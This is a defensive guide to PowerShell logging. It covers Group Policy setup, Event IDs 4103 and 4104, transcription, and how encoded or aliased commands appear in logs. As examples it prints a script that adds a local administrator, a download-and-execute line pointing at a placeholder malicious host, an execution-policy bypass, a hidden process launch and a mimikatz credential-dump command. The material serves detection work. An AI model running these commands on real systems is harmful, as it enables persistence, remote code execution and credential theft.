PowerShell Logging
PowerShell logging is a critical element of security monitoring in modern environments, as PowerShell is often used by attackers to execute malicious scripts, bypass defenses, and perform attacks. Enabling PowerShell logging allows you to monitor the commands and scripts that are executed, which helps detect suspicious activity.
Setting up Powershell logging
To configure PowerShell event auditing using Group Policies and enable the Script Block Logging module, run
Open Group Policy Editor
Go to the section: Computer Configuration → Policies → Administrative Templates → Windows Components → Windows PowerShell.
Select "Enable module logging", "Enable script block logging" and "Enable transcription logging" For the latter, specify the path to save the transcripts (e.g.
C:\PSLogs
).
Event Types
Main types of logging:
PowerShell Audit Module (Module Logging) - The audit module logs all commands executed in PowerShell. Logs are saved in Windows Event Log under Microsoft-Windows-PowerShell/Operational with Event ID 4103 Register: - Individual commands executed in PowerShell. - If the script is running, then a separate event will be registered for each Powershell Cmdlet call - If an alias is used (e.g.
gci
instead ofGet-ChildItem
), theGet-ChildItem
cmdlet will be written to the logs.\Script Block Logging - Script Block Logging records the contents of scripts executed in PowerShell. Logs are saved in Windows Event Log under Microsoft-Windows-PowerShell/Operational with Event ID 4104 Registered**:** - Full contents of scripts executed in PowerShell. - The entire block of code is logged, including commands, loops, conditions and functions.
Transcript Logging. Transcription logging saves all actions performed in a PowerShell session to a text file.
Comparison of PowerShell events Event ID 4103 and Event ID 4104
Both events are related to logging PowerShell activity, but they record different aspects of command and script execution.
Executing a script from a file
Let's assume that the attacker launches Powershell and executes the script add_admin.ps1
. This will register Event ID 4104, where the ScriptBlockText
field will contain the full body of the script:
$randomNumber = Get-Random -Minimum 1000 -Maximum 9999
$username = "Admin_$randomNumber"
$password = ConvertTo-SecureString -String "P@ssw0rd" -AsPlainText -Force
New-LocalUser -Name $username -Password $password -PasswordNeverExpires
Add-LocalGroupMember -Group "Administrators" -Member $username
In this case, 4 separate Event ID 4103 events will be registered, in the Payload
field there will be corresponding entries for each invoked cmdlet:
CommandInvocation(Get-Random): "Get-Random"
ParameterBinding(Get-Random): name="Minimum"; value="1000"
ParameterBinding(Get-Random): name="Maximum"; value="9999"
CommandInvocation(ConvertTo-SecureString): "ConvertTo-SecureString"
ParameterBinding(ConvertTo-SecureString): name="String"; value="P@ssw0rd"
ParameterBinding(ConvertTo-SecureString): name="AsPlainText"; value="True"
ParameterBinding(ConvertTo-SecureString): name="Force"; value="True"
CommandInvocation(New-LocalUser): "New-LocalUser"
ParameterBinding(New-LocalUser): name="Name"; value="Admin_6947"
ParameterBinding(New-LocalUser): name="Password"; value="System.Security.SecureString"
ParameterBinding(New-LocalUser): name="PasswordNeverExpires"; value="True"
CommandInvocation(Add-LocalGroupMember): "Add-LocalGroupMember"
ParameterBinding(Add-LocalGroupMember): name="Group"; value="Administrators"
ParameterBinding(Add-LocalGroupMember): name="Member"; value="Admin_6947"
In this case, Script Name
in ContextInfo
of each Event ID 4103 will contain the full path to the add_admin.ps1
script.
It is worth noting that Event Id 4103 shows the specific values ​​of what is passed as parameters in the script body.
Cmdlet aliases in Event ID 4103
Powershell cmdlets have aliases — a short or alternative name for a cmdlet, function, or script. Aliases allow you to enter commands faster, saving time. Some are already defined in the system, but you can also specify custom ones.
If you enter an alias in the powershell console, then in Event ID 4104 it will be logged as entered by the user, but in 4103 the original full cmdlet will be visible
// 4104
tnc 10.10.183.100 -port 443
// 4103
CommandInvocation(Write-Progress): "Write-Progress"
ParameterBinding(Write-Progress): name="Activity"; value="Test-NetConnection - 10.10.183.100:443"
ParameterBinding(Write-Progress): name="Status"; value="Attempting TCP connect"
ParameterBinding(Write-Progress): name="CurrentOperation"; value="Waiting for response"
ParameterBinding(Write-Progress): name="SecondsRemaining"; value="-1"
ParameterBinding(Write-Progress): name="PercentComplete"; value="-1"
That is, obfuscation with properly configured powershell logging practically loses its usefulness. Although it is sometimes useful to simply look for its traces.
Examples of obfuscations
Starting a process from Powershell
If the attacker simply launches a process from powershell, then under the hood a call to the Invoke-Expression
cmdlet is generated.
// 4104. ScriptBlockText
ping google.com
// 4103. Payload
CommandInvocation(Invoke-Expression): "Invoke-Expression"
ParameterBinding(Invoke-Expression): name="Command"; value="ping google.com
"
CommandInvocation(Out-String): "Out-String"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Pinging google.com [64.233.162.100] with 32 bytes of data:"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=2ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=3ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=4ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value="Reply from 64.233.162.100: bytes=32 time=1ms TTL=62"
ParameterBinding(Out-String): name="InputObject"; value=""
ParameterBinding(Out-String): name="InputObject"; value="Ping statistics for 64.233.162.100:"
ParameterBinding(Out-String): name="InputObject"; value="Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),"
ParameterBinding(Out-String): name="InputObject"; value="Approximate round trip times in milli-seconds:"
ParameterBinding(Out-String): name="InputObject"; value=" Minimum = 1ms, Maximum = 4ms, Average = 2ms"
If an attacker starts a Powershell process like this:
powershell -EncodedCommand
Then in the process start event (Event ID 4688, Sysmon 1) we will see an encrypted base64 string (You can decrypt it in CyberChef). However, in EventID 4103 and 4104 you will see what was actually executed:
// 4104
$ProgressPreference = "SilentlyContinue";Start-Process -FilePath "C:\Program Files\Google\Chrome\Application\chrome.exe" -ArgumentList "https://github.com"; Start-Sleep -Seconds 15 ; Get-Process | Where-Object {$_.ProcessName -eq "chrome"} | Stop-Process
// 4103
CommandInvocation(Start-Process): "Start-Process"
ParameterBinding(Start-Process): name="FilePath"; value="C:\Program Files\Google\Chrome\Application\chrome.exe"
ParameterBinding(Start-Process): name="ArgumentList"; value="https://github.com"
Well-known Powershell tools
All of them include fairly specific cmdlets, the detections for which will not be sophisticated, but will definitely be useful.
Examples of suspicious commands and scripts
Downloading and executing scripts from the Internet: Look for commands related to bypassing protection, running scripts, or interacting with external resources (e.g.
FromBase64String
DownloadString
,Net.WebClient
)Invoke-Expression(New-Object Net.WebClient).DownloadString('http://malicious.site/script.ps1')
Bypass protection:
Set-ExecutionPolicy Bypass -Scope Process
Creating hidden processes:
Start-Process -WindowStyle Hidden -FilePath "C:\Windows\System32\cmd.exe"
Using hacking utilities:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords"
Last updated
Was this helpful?